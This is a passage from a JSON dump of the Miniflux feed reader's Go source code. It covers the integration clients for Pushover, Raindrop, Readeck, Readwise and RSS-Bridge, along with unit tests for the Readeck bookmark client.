{\n\t\tvalues.Add(\"shared\", p.Shared)\n\t}\n\tvalues.Add(\"dt\", p.Date.Format(time.RFC3339))\n\tvalues.Add(\"extended\", p.Extended)\n}\n"
  },
  {
    "path": "internal/integration/pushover/pushover.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage pushover // import \"miniflux.app/v2/internal/integration/pushover\"\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst (\n\tdefaultClientTimeout = 10 * time.Second\n\tdefaultPushoverURL   = \"https://api.pushover.net\"\n)\n\ntype Client struct {\n\tprefix string\n\n\ttoken  string\n\tuser   string\n\tdevice string\n\n\tpriority int\n}\n\ntype message struct {\n\tToken string `json:\"token\"`\n\tUser  string `json:\"user\"`\n\n\tTitle    string `json:\"title\"`\n\tMessage  string `json:\"message\"`\n\tPriority int    `json:\"priority\"`\n\n\tURL      string `json:\"url\"`\n\tURLTitle string `json:\"url_title\"`\n\tDevice   string `json:\"device,omitempty\"`\n}\n\ntype errorResponse struct {\n\tUser    string   `json:\"user\"`\n\tErrors  []string `json:\"errors\"`\n\tStatus  int      `json:\"status\"`\n\tRequest string   `json:\"request\"`\n}\n\nfunc NewClient(user, token string, priority int, device, urlPrefix string) *Client {\n\tif urlPrefix == \"\" {\n\t\turlPrefix = defaultPushoverURL\n\t}\n\tif priority < -2 {\n\t\tpriority = -2\n\t}\n\tif priority > 2 {\n\t\tpriority = 2\n\t}\n\n\treturn &Client{\n\t\tuser:     user,\n\t\ttoken:    token,\n\t\tdevice:   device,\n\t\tprefix:   urlPrefix,\n\t\tpriority: priority,\n\t}\n}\n\nfunc (c *Client) SendMessages(feed *model.Feed, entries model.Entries) error {\n\tif c.token == \"\" || c.user == \"\" {\n\t\treturn errors.New(\"pushover token and user are required\")\n\t}\n\tfor _, entry := range entries {\n\t\tmsg := &message{\n\t\t\tUser:   c.user,\n\t\t\tToken:  c.token,\n\t\t\tDevice: c.device,\n\n\t\t\tMessage:  entry.Title,\n\t\t\tTitle:    feed.Title,\n\t\t\tPriority: c.priority,\n\t\t\tURL:      entry.URL,\n\t\t}\n\n\t\tslog.Debug(\"Sending Pushover message\",\n\t\t\tslog.Int(\"priority\", msg.Priority),\n\t\t\tslog.String(\"message\", msg.Message),\n\t\t\tslog.String(\"entry_url\", msg.URL),\n\t\t)\n\n\t\tif err := c.makeRequest(msg); err != nil {\n\t\t\treturn fmt.Errorf(\"pushover: unable to send message: %w\", err)\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (c *Client) makeRequest(payload *message) error {\n\tjsonData, err := json.Marshal(payload)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"pushover: unable to encode request body: %w\", err)\n\t}\n\turl := c.prefix + \"/1/messages.json\"\n\treq, err := http.NewRequest(http.MethodPost, url, bytes.NewBuffer(jsonData))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"pushover: unable to create request: %w\", err)\n\t}\n\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"pushover: unable to send request: %w\", err)\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode >= http.StatusBadRequest {\n\t\terrorMessage := resp.Status\n\n\t\tvar errResp errorResponse\n\t\tif err := json.NewDecoder(resp.Body).Decode(&errResp); err == nil {\n\t\t\tif len(errResp.Errors) > 0 {\n\t\t\t\terrorMessage = strings.Join(errResp.Errors, \",\")\n\t\t\t}\n\t\t}\n\n\t\treturn fmt.Errorf(\"pushover: API error: status=%d %s\", resp.StatusCode, errorMessage)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/integration/raindrop/raindrop.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage raindrop // import \"miniflux.app/v2/internal/integration/raindrop\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\ttoken        string\n\tcollectionID string\n\ttags         []string\n}\n\nfunc NewClient(token, collectionID, tags string) *Client {\n\treturn &Client{token: token, collectionID: collectionID, tags: strings.Split(tags, \",\")}\n}\n\n// https://developer.raindrop.io/v1/raindrops/single#create-raindrop\nfunc (c *Client) CreateRaindrop(entryURL, entryTitle string) error {\n\tif c.token == \"\" {\n\t\treturn errors.New(\"raindrop: missing token\")\n\t}\n\n\tvar request *http.Request\n\trequestBodyJson, err := json.Marshal(&raindrop{\n\t\tLink:       entryURL,\n\t\tTitle:      entryTitle,\n\t\tCollection: collection{Id: c.collectionID},\n\t\tTags:       c.tags,\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"raindrop: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err = http.NewRequest(http.MethodPost, \"https://api.raindrop.io/rest/v1/raindrop\", bytes.NewReader(requestBodyJson))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"raindrop: unable to create request: %v\", err)\n\t}\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+c.token)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"raindrop: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"raindrop: unable to create bookmark: status=%d\", response.StatusCode)\n\t}\n\n\treturn nil\n}\n\ntype raindrop struct {\n\tLink       string     `json:\"link\"`\n\tTitle      string     `json:\"title\"`\n\tCollection collection `json:\"collection\"`\n\tTags       []string   `json:\"tags\"`\n}\n\ntype collection struct {\n\tId string `json:\"$id\"`\n}\n"
  },
  {
    "path": "internal/integration/readeck/readeck.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage readeck // import \"miniflux.app/v2/internal/integration/readeck\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tbaseURL string\n\tapiKey  string\n\tlabels  string\n\tonlyURL bool\n}\n\nfunc NewClient(baseURL, apiKey, labels string, onlyURL bool) *Client {\n\treturn &Client{baseURL: baseURL, apiKey: apiKey, labels: labels, onlyURL: onlyURL}\n}\n\nfunc (c *Client) CreateBookmark(entryURL, entryTitle string, entryContent string) error {\n\tif c.baseURL == \"\" || c.apiKey == \"\" {\n\t\treturn errors.New(\"readeck: missing base URL or API key\")\n\t}\n\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/api/bookmarks/\")\n\tif err != nil {\n\t\treturn fmt.Errorf(`readeck: invalid API endpoint: %v`, err)\n\t}\n\n\tlabelsSplitFn := func(c rune) bool {\n\t\treturn c == ',' || c == ' '\n\t}\n\tlabelsSplit := strings.FieldsFunc(c.labels, labelsSplitFn)\n\n\tvar request *http.Request\n\tif c.onlyURL {\n\t\trequestBodyJson, err := json.Marshal(&readeckBookmark{\n\t\t\tURL:    entryURL,\n\t\t\tTitle:  entryTitle,\n\t\t\tLabels: labelsSplit,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"readeck: unable to encode request body: %v\", err)\n\t\t}\n\t\trequest, err = http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBodyJson))\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"readeck: unable to create request: %v\", err)\n\t\t}\n\t\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\t} else {\n\t\trequestBody := new(bytes.Buffer)\n\t\tmultipartWriter := multipart.NewWriter(requestBody)\n\n\t\turlPart, err := multipartWriter.CreateFormField(\"url\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"readeck: unable to encode request body (entry url): %v\", err)\n\t\t}\n\t\turlPart.Write([]byte(entryURL))\n\n\t\ttitlePart, err := multipartWriter.CreateFormField(\"title\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"readeck: unable to encode request body (entry title): %v\", err)\n\t\t}\n\t\ttitlePart.Write([]byte(entryTitle))\n\n\t\tfeaturePart, err := multipartWriter.CreateFormField(\"feature_find_main\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"readeck: unable to encode request body (feature_find_main flag): %v\", err)\n\t\t}\n\t\tfeaturePart.Write([]byte(\"false\")) // false to disable readability\n\n\t\tfor _, label := range labelsSplit {\n\t\t\tlabelPart, err := multipartWriter.CreateFormField(\"labels\")\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"readeck: unable to encode request body (entry labels): %v\", err)\n\t\t\t}\n\t\t\tlabelPart.Write([]byte(label))\n\t\t}\n\n\t\tcontentBodyHeader, err := json.Marshal(&partContentHeader{\n\t\t\tURL:           entryURL,\n\t\t\tContentHeader: contentHeader{ContentType: \"text/html; charset=utf-8\"},\n\t\t})\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"readeck: unable to encode request body (entry content header): %v\", err)\n\t\t}\n\n\t\tcontentPart, err := multipartWriter.CreateFormFile(\"resource\", \"blob\")\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"readeck: unable to encode request body (entry content): %v\", err)\n\t\t}\n\t\tcontentPart.Write(contentBodyHeader)\n\t\tcontentPart.Write([]byte(\"\\n\"))\n\t\tcontentPart.Write([]byte(entryContent))\n\n\t\terr = multipartWriter.Close()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"readeck: unable to encode request body: %v\", err)\n\t\t}\n\t\trequest, err = http.NewRequest(http.MethodPost, apiEndpoint, requestBody)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"readeck: unable to create request: %v\", err)\n\t\t}\n\t\trequest.Header.Set(\"Content-Type\", multipartWriter.FormDataContentType())\n\t}\n\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+c.apiKey)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"readeck: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"readeck: unable to create bookmark: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\ntype readeckBookmark struct {\n\tURL    string   `json:\"url\"`\n\tTitle  string   `json:\"title\"`\n\tLabels []string `json:\"labels,omitempty\"`\n}\n\ntype contentHeader struct {\n\tContentType string `json:\"content-type\"`\n}\n\ntype partContentHeader struct {\n\tURL           string        `json:\"url\"`\n\tContentHeader contentHeader `json:\"headers\"`\n}\n"
  },
  {
    "path": "internal/integration/readeck/readeck_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage readeck\n\nimport (\n\t\"encoding/json\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nfunc TestCreateBookmark(t *testing.T) {\n\tconfigureIntegrationAllowPrivateNetworksOption(t)\n\n\tentryURL := \"https://example.com/article\"\n\tentryTitle := \"Example Title\"\n\tentryContent := \"<p>Some HTML content</p>\"\n\tlabels := \"tag1,tag2\"\n\n\ttests := []struct {\n\t\tname           string\n\t\tonlyURL        bool\n\t\tbaseURL        string\n\t\tapiKey         string\n\t\tlabels         string\n\t\tentryURL       string\n\t\tentryTitle     string\n\t\tentryContent   string\n\t\tserverResponse func(w http.ResponseWriter, r *http.Request)\n\t\twantErr        bool\n\t\terrContains    string\n\t}{\n\t\t{\n\t\t\tname:         \"successful bookmark creation with only URL\",\n\t\t\tonlyURL:      true,\n\t\t\tlabels:       labels,\n\t\t\tentryURL:     entryURL,\n\t\t\tentryTitle:   entryTitle,\n\t\t\tentryContent: entryContent,\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif r.Method != http.MethodPost {\n\t\t\t\t\tt.Errorf(\"expected POST, got %s\", r.Method)\n\t\t\t\t}\n\t\t\t\tif r.URL.Path != \"/api/bookmarks/\" {\n\t\t\t\t\tt.Errorf(\"expected path /api/bookmarks/, got %s\", r.URL.Path)\n\t\t\t\t}\n\t\t\t\tif got := r.Header.Get(\"Authorization\"); !strings.HasPrefix(got, \"Bearer \") {\n\t\t\t\t\tt.Errorf(\"expected Authorization Bearer header, got %q\", got)\n\t\t\t\t}\n\t\t\t\tif ct := r.Header.Get(\"Content-Type\"); ct != \"application/json\" {\n\t\t\t\t\tt.Errorf(\"expected Content-Type application/json, got %s\", ct)\n\t\t\t\t}\n\n\t\t\t\tbody, _ := io.ReadAll(r.Body)\n\t\t\t\tvar payload map[string]any\n\t\t\t\tif err := json.Unmarshal(body, &payload); err != nil {\n\t\t\t\t\tt.Fatalf(\"failed to parse JSON body: %v\", err)\n\t\t\t\t}\n\t\t\t\tif u := payload[\"url\"]; u != entryURL {\n\t\t\t\t\tt.Errorf(\"expected url %s, got %v\", entryURL, u)\n\t\t\t\t}\n\t\t\t\tif title := payload[\"title\"]; title != entryTitle {\n\t\t\t\t\tt.Errorf(\"expected title %s, got %v\", entryTitle, title)\n\t\t\t\t}\n\t\t\t\t// Labels should be split into an array\n\t\t\t\tif raw := payload[\"labels\"]; raw == nil {\n\t\t\t\t\tt.Errorf(\"expected labels to be set\")\n\t\t\t\t} else if arr, ok := raw.([]any); ok {\n\t\t\t\t\tif len(arr) != 2 || arr[0] != \"tag1\" || arr[1] != \"tag2\" {\n\t\t\t\t\t\tt.Errorf(\"unexpected labels: %#v\", arr)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tt.Errorf(\"labels should be an array, got %T\", raw)\n\t\t\t\t}\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:         \"successful bookmark creation with content (multipart)\",\n\t\t\tonlyURL:      false,\n\t\t\tlabels:       labels,\n\t\t\tentryURL:     entryURL,\n\t\t\tentryTitle:   entryTitle,\n\t\t\tentryContent: entryContent,\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tif r.Method != http.MethodPost {\n\t\t\t\t\tt.Errorf(\"expected POST, got %s\", r.Method)\n\t\t\t\t}\n\t\t\t\tif r.URL.Path != \"/api/bookmarks/\" {\n\t\t\t\t\tt.Errorf(\"expected path /api/bookmarks/, got %s\", r.URL.Path)\n\t\t\t\t}\n\t\t\t\tif got := r.Header.Get(\"Authorization\"); !strings.HasPrefix(got, \"Bearer \") {\n\t\t\t\t\tt.Errorf(\"expected Authorization Bearer header, got %q\", got)\n\t\t\t\t}\n\t\t\t\tct := r.Header.Get(\"Content-Type\")\n\t\t\t\tif !strings.HasPrefix(ct, \"multipart/form-data;\") {\n\t\t\t\t\tt.Errorf(\"expected multipart/form-data, got %s\", ct)\n\t\t\t\t}\n\t\t\t\t_, after, ok := strings.Cut(ct, \"boundary=\")\n\t\t\t\tif !ok {\n\t\t\t\t\tt.Fatalf(\"missing multipart boundary in Content-Type: %s\", ct)\n\t\t\t\t}\n\t\t\t\tboundary := after\n\t\t\t\tmr := multipart.NewReader(r.Body, boundary)\n\n\t\t\t\tseenLabels := []string{}\n\t\t\t\tvar seenURL, seenTitle, seenFeature string\n\t\t\t\tvar resourceHeader map[string]any\n\t\t\t\tvar resourceBody string\n\n\t\t\t\tfor {\n\t\t\t\t\tpart, err := mr.NextPart()\n\t\t\t\t\tif err == io.EOF {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tt.Fatalf(\"reading multipart: %v\", err)\n\t\t\t\t\t}\n\t\t\t\t\tname := part.FormName()\n\t\t\t\t\tdata, _ := io.ReadAll(part)\n\t\t\t\t\tswitch name {\n\t\t\t\t\tcase \"url\":\n\t\t\t\t\t\tseenURL = string(data)\n\t\t\t\t\tcase \"title\":\n\t\t\t\t\t\tseenTitle = string(data)\n\t\t\t\t\tcase \"feature_find_main\":\n\t\t\t\t\t\tseenFeature = string(data)\n\t\t\t\t\tcase \"labels\":\n\t\t\t\t\t\tseenLabels = append(seenLabels, string(data))\n\t\t\t\t\tcase \"resource\":\n\t\t\t\t\t\t// First line is JSON header, then newline, then content\n\t\t\t\t\t\tall := string(data)\n\t\t\t\t\t\tbefore, after, ok := strings.Cut(all, \"\\n\")\n\t\t\t\t\t\tif !ok {\n\t\t\t\t\t\t\tt.Fatalf(\"resource content missing header separator\")\n\t\t\t\t\t\t}\n\t\t\t\t\t\theaderJSON := before\n\t\t\t\t\t\tresourceBody = after\n\t\t\t\t\t\tif err := json.Unmarshal([]byte(headerJSON), &resourceHeader); err != nil {\n\t\t\t\t\t\t\tt.Fatalf(\"invalid resource header JSON: %v\", err)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif seenURL != entryURL {\n\t\t\t\t\tt.Errorf(\"expected url %s, got %s\", entryURL, seenURL)\n\t\t\t\t}\n\t\t\t\tif seenTitle != entryTitle {\n\t\t\t\t\tt.Errorf(\"expected title %s, got %s\", entryTitle, seenTitle)\n\t\t\t\t}\n\t\t\t\tif seenFeature != \"false\" {\n\t\t\t\t\tt.Errorf(\"expected feature_find_main to be 'false', got %s\", seenFeature)\n\t\t\t\t}\n\t\t\t\tif len(seenLabels) != 2 || seenLabels[0] != \"tag1\" || seenLabels[1] != \"tag2\" {\n\t\t\t\t\tt.Errorf(\"unexpected labels: %#v\", seenLabels)\n\t\t\t\t}\n\t\t\t\tif resourceHeader == nil {\n\t\t\t\t\tt.Fatalf(\"missing resource header\")\n\t\t\t\t}\n\t\t\t\tif hURL, _ := resourceHeader[\"url\"].(string); hURL != entryURL {\n\t\t\t\t\tt.Errorf(\"expected resource header url %s, got %v\", entryURL, hURL)\n\t\t\t\t}\n\t\t\t\tif headers, ok := resourceHeader[\"headers\"].(map[string]any); ok {\n\t\t\t\t\tif ct, _ := headers[\"content-type\"].(string); ct != \"text/html; charset=utf-8\" {\n\t\t\t\t\t\tt.Errorf(\"expected resource header content-type text/html; charset=utf-8, got %v\", ct)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tt.Errorf(\"missing resource header 'headers' field\")\n\t\t\t\t}\n\t\t\t\tif resourceBody != entryContent {\n\t\t\t\t\tt.Errorf(\"expected resource body %q, got %q\", entryContent, resourceBody)\n\t\t\t\t}\n\n\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname:         \"error when server returns 400\",\n\t\t\tonlyURL:      true,\n\t\t\tlabels:       labels,\n\t\t\tentryURL:     entryURL,\n\t\t\tentryTitle:   entryTitle,\n\t\t\tentryContent: entryContent,\n\t\t\tserverResponse: func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t\t},\n\t\t\twantErr:     true,\n\t\t\terrContains: \"unable to create bookmark\",\n\t\t},\n\t\t{\n\t\t\tname:           \"error when missing baseURL or apiKey\",\n\t\t\tonlyURL:        true,\n\t\t\tbaseURL:        \"\",\n\t\t\tapiKey:         \"\",\n\t\t\tlabels:         labels,\n\t\t\tentryURL:       entryURL,\n\t\t\tentryTitle:     entryTitle,\n\t\t\tentryContent:   entryContent,\n\t\t\tserverResponse: nil,\n\t\t\twantErr:        true,\n\t\t\terrContains:    \"missing base URL or API key\",\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tvar serverURL string\n\t\t\tif tt.serverResponse != nil {\n\t\t\t\tsrv := httptest.NewServer(http.HandlerFunc(tt.serverResponse))\n\t\t\t\tdefer srv.Close()\n\t\t\t\tserverURL = srv.URL\n\t\t\t}\n\t\t\tbaseURL := tt.baseURL\n\t\t\tif baseURL == \"\" {\n\t\t\t\tbaseURL = serverURL\n\t\t\t}\n\t\t\tapiKey := tt.apiKey\n\t\t\tif apiKey == \"\" {\n\t\t\t\tapiKey = \"test-api-key\"\n\t\t\t}\n\n\t\t\tclient := NewClient(baseURL, apiKey, tt.labels, tt.onlyURL)\n\t\t\terr := client.CreateBookmark(tt.entryURL, tt.entryTitle, tt.entryContent)\n\n\t\t\tif tt.wantErr {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Fatalf(\"expected error, got none\")\n\t\t\t\t}\n\t\t\t\tif tt.errContains != \"\" && !strings.Contains(err.Error(), tt.errContains) {\n\t\t\t\t\tt.Fatalf(\"expected error containing %q, got %q\", tt.errContains, err.Error())\n\t\t\t\t}\n\t\t\t} else if err != nil {\n\t\t\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNewClient(t *testing.T) {\n\tbaseURL := \"https://readeck.example.com\"\n\tapiKey := \"key\"\n\tlabels := \"tag1,tag2\"\n\tonlyURL := true\n\n\tc := NewClient(baseURL, apiKey, labels, onlyURL)\n\tif c.baseURL != baseURL {\n\t\tt.Errorf(\"expected baseURL %s, got %s\", baseURL, c.baseURL)\n\t}\n\tif c.apiKey != apiKey {\n\t\tt.Errorf(\"expected apiKey %s, got %s\", apiKey, c.apiKey)\n\t}\n\tif c.labels != labels {\n\t\tt.Errorf(\"expected labels %s, got %s\", labels, c.labels)\n\t}\n\tif c.onlyURL != onlyURL {\n\t\tt.Errorf(\"expected onlyURL %v, got %v\", onlyURL, c.onlyURL)\n\t}\n}\n\nfunc configureIntegrationAllowPrivateNetworksOption(t *testing.T) {\n\tt.Helper()\n\n\tt.Setenv(\"INTEGRATION_ALLOW_PRIVATE_NETWORKS\", \"1\")\n\n\tconfigParser := config.NewConfigParser()\n\tparsedOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to configure test options: %v\", err)\n\t}\n\n\tpreviousOptions := config.Opts\n\tconfig.Opts = parsedOptions\n\tt.Cleanup(func() {\n\t\tconfig.Opts = previousOptions\n\t})\n}\n"
  },
  {
    "path": "internal/integration/readwise/readwise.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\n// Readwise Reader API documentation: https://readwise.io/reader_api\n\npackage readwise // import \"miniflux.app/v2/internal/integration/readwise\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst (\n\treadwiseApiEndpoint  = \"https://readwise.io/api/v3/save/\"\n\tdefaultClientTimeout = 10 * time.Second\n)\n\ntype Client struct {\n\tapiKey string\n}\n\nfunc NewClient(apiKey string) *Client {\n\treturn &Client{apiKey: apiKey}\n}\n\nfunc (c *Client) CreateDocument(entryURL string) error {\n\tif c.apiKey == \"\" {\n\t\treturn errors.New(\"readwise: missing API key\")\n\t}\n\n\trequestBody, err := json.Marshal(&readwiseDocument{\n\t\tURL: entryURL,\n\t})\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"readwise: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, readwiseApiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"readwise: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Token \"+c.apiKey)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"readwise: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"readwise: unable to create document: url=%s status=%d\", readwiseApiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\ntype readwiseDocument struct {\n\tURL string `json:\"url\"`\n}\n"
  },
  {
    "path": "internal/integration/rssbridge/rssbridge.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rssbridge // import \"miniflux.app/v2/internal/integration/rssbridge\"\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 30 * time.Second\n\ntype Bridge struct {\n\tURL        string     `json:\"url\"`\n\tBridgeMeta BridgeMeta `json:\"bridgeMeta\"`\n}\n\ntype BridgeMeta struct {\n\tName string `json:\"name\"`\n}\n\nfunc DetectBridges(rssBridgeURL, rssBridgeToken, websiteURL string) ([]*Bridge, error) {\n\tendpointURL, err := url.Parse(rssBridgeURL)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"rssbridge: unable to parse bridge URL: %w\", err)\n\t}\n\n\tvalues := endpointURL.Query()\n\tif rssBridgeToken != \"\" {\n\t\tvalues.Add(\"token\", rssBridgeToken)\n\t}\n\tvalues.Add(\"action\", \"findfeed\")\n\tvalues.Add(\"format\", \"atom\")\n\tvalues.Add(\"url\", websiteURL)\n\tendpointURL.RawQuery = values.Encode()\n\n\tslog.Debug(\"Detecting RSS bridges\", slog.String(\"url\", endpointURL.String()))\n\n\trequest, err := http.NewRequest(http.MethodGet, endpointURL.String(), nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"rssbridge: unable to create request: %w\", err)\n\t}\n\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"rssbridge: unable to execute request: %w\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode == http.StatusNotFound {\n\t\treturn nil, nil\n\t}\n\n\tif response.StatusCode >= 400 {\n\t\treturn nil, fmt.Errorf(\"rssbridge: unexpected status code %d\", response.StatusCode)\n\t}\n\n\tvar bridgeResponse []*Bridge\n\tif err := json.NewDecoder(response.Body).Decode(&bridgeResponse); err != nil {\n\t\treturn nil, fmt.Errorf(\"rssbridge: unable to decode bridge response: %w\", err)\n\t}\n\n\tfor _, bridge := range bridgeResponse {\n\t\tslog.Debug(\"Found RSS bridge\",\n\t\t\tslog.String(\"name\", bridge.BridgeMeta.Name),\n\t\t\tslog.String(\"url\", bridge.URL),\n\t\t)\n\n\t\tif strings.HasPrefix(bridge.URL, \"./\") {\n\t\t\tbridge.URL = rssBridgeURL + bridge.URL[2:]\n\n\t\t\tslog.Debug(\"Rewrote relative RSS bridge URL\",\n\t\t\t\tslog.String(\"name\", bridge.BridgeMeta.Name),\n\t\t\t\tslog.String(\"url\", bridge.URL),\n\t\t\t)\n\t\t}\n\n\t\tif rssBridgeToken != \"\" {\n\t\t\tbridge.URL = bridge.URL + \"&token=\" + rssBridgeToken\n\n\t\t\tslog.Debug(\"Appended token to RSS bridge URL\",\n\t\t\t\tslog.String(\"name\", bridge.BridgeMeta.Name),\n\t\t\t\tslog.String(\"url\", bridge.URL),\n\t\t\t)\n\t\t}\n\t}\n\n\treturn bridgeResponse, nil\n}\n"
  },
  {
    "path": "internal/integration/shaarli/shaarli.go",
